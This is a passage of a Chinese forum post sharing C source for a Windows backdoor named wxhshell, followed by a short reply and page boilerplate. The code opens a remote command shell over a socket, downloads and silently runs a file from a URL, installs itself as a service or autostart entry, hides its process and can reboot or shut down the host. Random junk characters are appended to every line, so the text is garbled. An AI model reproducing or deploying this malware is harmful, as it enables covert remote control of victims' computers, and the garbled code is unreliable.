  // 下载文件 gGxgU$`#c  
  if(strstr(cmd,"http://")) { i;s&;_0{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'v GrbmK  
  if(DownloadFile(cmd,wsh)) Y#V`i K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jX-v9eaA  
  else q{ItTvL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #~^#%G  
  } "EQ`Q=8  
  else { ( MWh|kp  
v(W$\XH  
    switch(cmd[0]) { ^ b{0|:  
  J(ZYoJ  
  // 帮助 ]OL O~2j  
  case '?': { 7 <*sP%6bD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0UB)FK ,9  
    break; %"r3{Hs  
  } (TM1(<j  
  // 安装  )o`|t  
  case 'i': { gXZC%S  
    if(Install()) dT4?8:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W=|sy-N{2  
    else *IG} /O.VT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); St7ZyN1  
    break;  qa)X\0  
    } )cJ9YKKy  
  // 卸载 z lco? Rt  
  case 'r': { =3$JeNK9  
    if(Uninstall()) O68/Hf1W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,j>A[e&.  
    else /oKa?iT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |k1(|)%G  
    break; #!wu}nDu  
    } qPDe;$J)  
  // 显示 wxhshell 所在路径 }enm#0Ha  
  case 'p': { {U?/u93~  
    char svExeFile[MAX_PATH]; hm*1w6 =  
    strcpy(svExeFile,"\n\r"); )D\!#<#h  
      strcat(svExeFile,ExeFile); X31[  
        send(wsh,svExeFile,strlen(svExeFile),0); |=fa`8m G  
    break; _CN5,mLNRk  
    } rJH u~/_Dq  
  // 重启 V*5 ~A [r  
  case 'b': { X:+lD58  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]&w8"q  
    if(Boot(REBOOT)) HR]*75}e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9QHX  
    else { \=Rw/[lR  
    closesocket(wsh); *`&4< >=n  
    ExitThread(0); 7TD%vhbiwi  
    } z2*>5 c%  
    break; :l ~Wt7R  
    } 1O3"W;SR<:  
  // 关机 _; /onM   
  case 'd': { LI1OocY.]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }c|)i,bL  
    if(Boot(SHUTDOWN)) 2XI%z4\)!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UfIH!6Q  
    else { qIIc>By(\"  
    closesocket(wsh); g\^7Q  
    ExitThread(0); "i0{E!,XL  
    } , 7-@eZ  
    break; r#hA kOw  
    } OZ##x  
  // 获取shell ,'w9@A  
  case 's': { %ub\+~  
    CmdShell(wsh); f|Dq#(^\  
    closesocket(wsh); HjCcfOej  
    ExitThread(0); {ZQ|Ydpk  
    break; ZmU7tK  
  } D32~>J.F  
  // 退出 '*gY45yT`  
  case 'x': { n=Qz7N(M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !o+[L  
    CloseIt(wsh); 6/e+=W2  
    break; +PT/pybA  
    } 6?8x[l*5M  
  // 离开 {[&$W8Li  
  case 'q': { U0>Uqk",  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K;j}qJvsb  
    closesocket(wsh); -=5]B ;  
    WSACleanup(); 1?+%*uoPX  
    exit(1); Q #!|h:K  
    break; T6_LiB @  
        } _UU-  
  } vt8z=O  
  } [C_Dv-d  
y/{&mo1\  
  // 提示信息 xg*)o*?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /WqiGkHV*  
} %z1y3I|`[t  
  } $;~  
%49 ^S&  
  return; ))Q3;mI"  
} ROH 2KSt  
)/uu~9SFd  
// shell模块句柄 v:.`~h/b  
int CmdShell(SOCKET sock) MYI*0o;  
{ j !m42  
STARTUPINFO si; >Vp #   
ZeroMemory(&si,sizeof(si)); ~t0\Q; @($  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W<']Q_su  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #>)OLKP  
PROCESS_INFORMATION ProcessInfo; :x*#RnRr.  
char cmdline[]="cmd"; U42B( ow  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ? }t[  
  return 0; {Ee[rAVGp  
} lJ y\Ky(*  
A\xvzs.d  
// 自身启动模式 iH&BhbRu_  
int StartFromService(void) b@9>1d$  
{ $ /Rr|<  
typedef struct L`"B;a&  
{ slPLc  
  DWORD ExitStatus; t^ax:6;"|  
  DWORD PebBaseAddress; ZV,1IaO  
  DWORD AffinityMask; tZ4Zj`x|^  
  DWORD BasePriority; Wbra*LNU  
  ULONG UniqueProcessId; vdS)EIt  
  ULONG InheritedFromUniqueProcessId; RxUABF8b  
}   PROCESS_BASIC_INFORMATION; *.g@6IkAQ  
%p wpRD@  
PROCNTQSIP NtQueryInformationProcess; QVEGd"WvvO  
Y\cQ "9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8y$c\Eu(mF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xNLvK:@0p  
IgxZ_2hO  
  HANDLE             hProcess; O\;R (  
  PROCESS_BASIC_INFORMATION pbi; 9pY`_lxa>  
-hn~-Sy+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~]Md*F[4*e  
  if(NULL == hInst ) return 0; RlW7l1h&  
A~Uqw8n$\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i7 *cpNPO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +0&SXhy%y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3d_PY,=1  
k2 axGq  
  if (!NtQueryInformationProcess) return 0; g#Doed.30=  
Z#Q)a;RA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xW hi>  
  if(!hProcess) return 0; e 9p+  
t93iU?Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wfE%` 1  
Z{#;my*X|  
  CloseHandle(hProcess); PR{y84$  
3jaY\(`%h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =5 zx]N1r  
if(hProcess==NULL) return 0; 6X1_NbC  
d|~A>YZ  
HMODULE hMod; k~P{Rm;F  
char procName[255]; rEWPVT  
unsigned long cbNeeded; OI0tgkG  
W5#5RK"uX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "@h 5 SF  
|N^z=g P[  
  CloseHandle(hProcess);  ~wX4j  
NEY b-#v  
if(strstr(procName,"services")) return 1; // 以服务启动 h3z=tu['  
xQKD1#y  
  return 0; // 注册表启动 ?n]e5R(cj  
} P#8 ]m(  
IQ9jTkW l  
// 主模块 ku`bwS  
int StartWxhshell(LPSTR lpCmdLine) }'o[6#_*X  
{  4hzS  
  SOCKET wsl; o{QU?H5h  
BOOL val=TRUE; Ku W$  
  int port=0; 02_37!\  
  struct sockaddr_in door; uI'g]18Hi  
Dq~PxcnI  
  if(wscfg.ws_autoins) Install(); dE[_]2];P  
m{ya%F  
port=atoi(lpCmdLine); ^Z 9v_qB  
.W9/*cZV0  
if(port<=0) port=wscfg.ws_port; cdH Ug#  
~w>Z !RuhT  
  WSADATA data; Ob|[/NN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l:Y$A$W]>  
[;]@PKW?w  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1.5lJ:[G  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ' YONRha  
  door.sin_family = AF_INET; tFYIKiq2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &dC #nw  
  door.sin_port = htons(port); c= -2c&=&  
Ya_4[vR<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /_,} o7@t~  
closesocket(wsl); ~6hG"t]:  
return 1; ji &*0GJQ  
} hVfiF  
v{H3DgyG  
  if(listen(wsl,2) == INVALID_SOCKET) { e$wbYByW  
closesocket(wsl); 0H V-e  
return 1; $B iG7,[#  
} Nr#Y]9nA  
  Wxhshell(wsl); MKuy?mri~  
  WSACleanup(); M?UlC   
OoFQ@zE7%  
return 0; c0H8FF3  
~'4:{xH  
} >:ZlYZ6sI  
GC3:ZpV`  
// 以NT服务方式启动 kt";Jx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 10/N-=NG18  
{ F C= %_y  
DWORD   status = 0; n.m6n*sf7  
  DWORD   specificError = 0xfffffff; }/Wd9x  
g>[|/z P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W biUz2)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UeRx ^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]Mh7;&<6[  
  serviceStatus.dwWin32ExitCode     = 0; KAg<s}gQJ  
  serviceStatus.dwServiceSpecificExitCode = 0; )-3!-1  
  serviceStatus.dwCheckPoint       = 0; 1m/=MET]  
  serviceStatus.dwWaitHint       = 0; by {G{M`X  
,{C(<1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GXEOgf#i  
  if (hServiceStatusHandle==0) return; VD \pQ.=  
h>Z$ n`T  
status = GetLastError(); o E&Zf/  
  if (status!=NO_ERROR) y\ nR0m  
{ C { }s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4*UoTE-g$  
    serviceStatus.dwCheckPoint       = 0; {PM)D [$i  
    serviceStatus.dwWaitHint       = 0; X;5U@l  
    serviceStatus.dwWin32ExitCode     = status; !Xwp;P=  
    serviceStatus.dwServiceSpecificExitCode = specificError; @"}dbW<DV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I +,D,Vg  
    return; ;+-$=l3[a  
  } ]|q\^k)JU  
i\S } aCm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [@}{sH(#Ta  
  serviceStatus.dwCheckPoint       = 0; }lgqRg)F9[  
  serviceStatus.dwWaitHint       = 0; X$O,L[] 4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6,'!z ?d%  
} @=c{GAj  
?lxI& h  
// 处理NT服务事件,比如:启动、停止 eiZv|?^0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) auP:r  
{ i3.8m=>  
switch(fdwControl) [Cz.K?+#M  
{ ~Exd_c9  
case SERVICE_CONTROL_STOP: KJa?TwnC  
  serviceStatus.dwWin32ExitCode = 0; ?ng?>!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7"f$;CN?~  
  serviceStatus.dwCheckPoint   = 0; `07u}]d8  
  serviceStatus.dwWaitHint     = 0; fB5Bh;K  
  { `4cs.ab  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r'hr 'wZ  
  } #R|M(Z">q  
  return; laM0W5  
case SERVICE_CONTROL_PAUSE: g1\4Jb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u[U~`*i*rA  
  break; do{#y*B/g!  
case SERVICE_CONTROL_CONTINUE: nzDS  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; I~S`'()J  
  break; .2hQ!)+  
case SERVICE_CONTROL_INTERROGATE: vi6EI wZG  
  break; }>xgzhdT  
}; ~(B\X?v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Z6/r^c  
} r0kA47  
J+&AtGq]u  
// 标准应用程序主函数 J p .wg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CF^7 {g(y_  
{ -8tWc]c |4  
q*A2>0O  
// 获取操作系统版本 \%NhggS*  
OsIsNt=GetOsVer(); @+}Q<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t4?g_$>   
lN+NhPF  
  // 从命令行安装 i^uC4S~  
  if(strpbrk(lpCmdLine,"iI")) Install(); iQ-;0<=G  
n?pCMS|  
  // 下载执行文件 wC BL1[~C  
if(wscfg.ws_downexe) { UTUIL D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }se)=7d8 Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); dv%gmUUf}k  
} ~GfcI:Zz&  
<uL?7P  
if(!OsIsNt) { 'oTcx Jx  
// 如果时win9x,隐藏进程并且设置为注册表启动 NV;5T3  
HideProc(); i#1T68y}  
StartWxhshell(lpCmdLine); P58U8MEG  
} rK~362|mo  
else K 3&MR=#^  
  if(StartFromService())  b6S86>  
  // 以服务方式启动 %kJ:{J+w]  
  StartServiceCtrlDispatcher(DispatchTable); j&fr4t3  
else _dsd{&  
  // 普通方式启动 @V] Wm1g  
  StartWxhshell(lpCmdLine); +M@G 8l  
m[oe$yH  
return 0; _89 _*t(  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八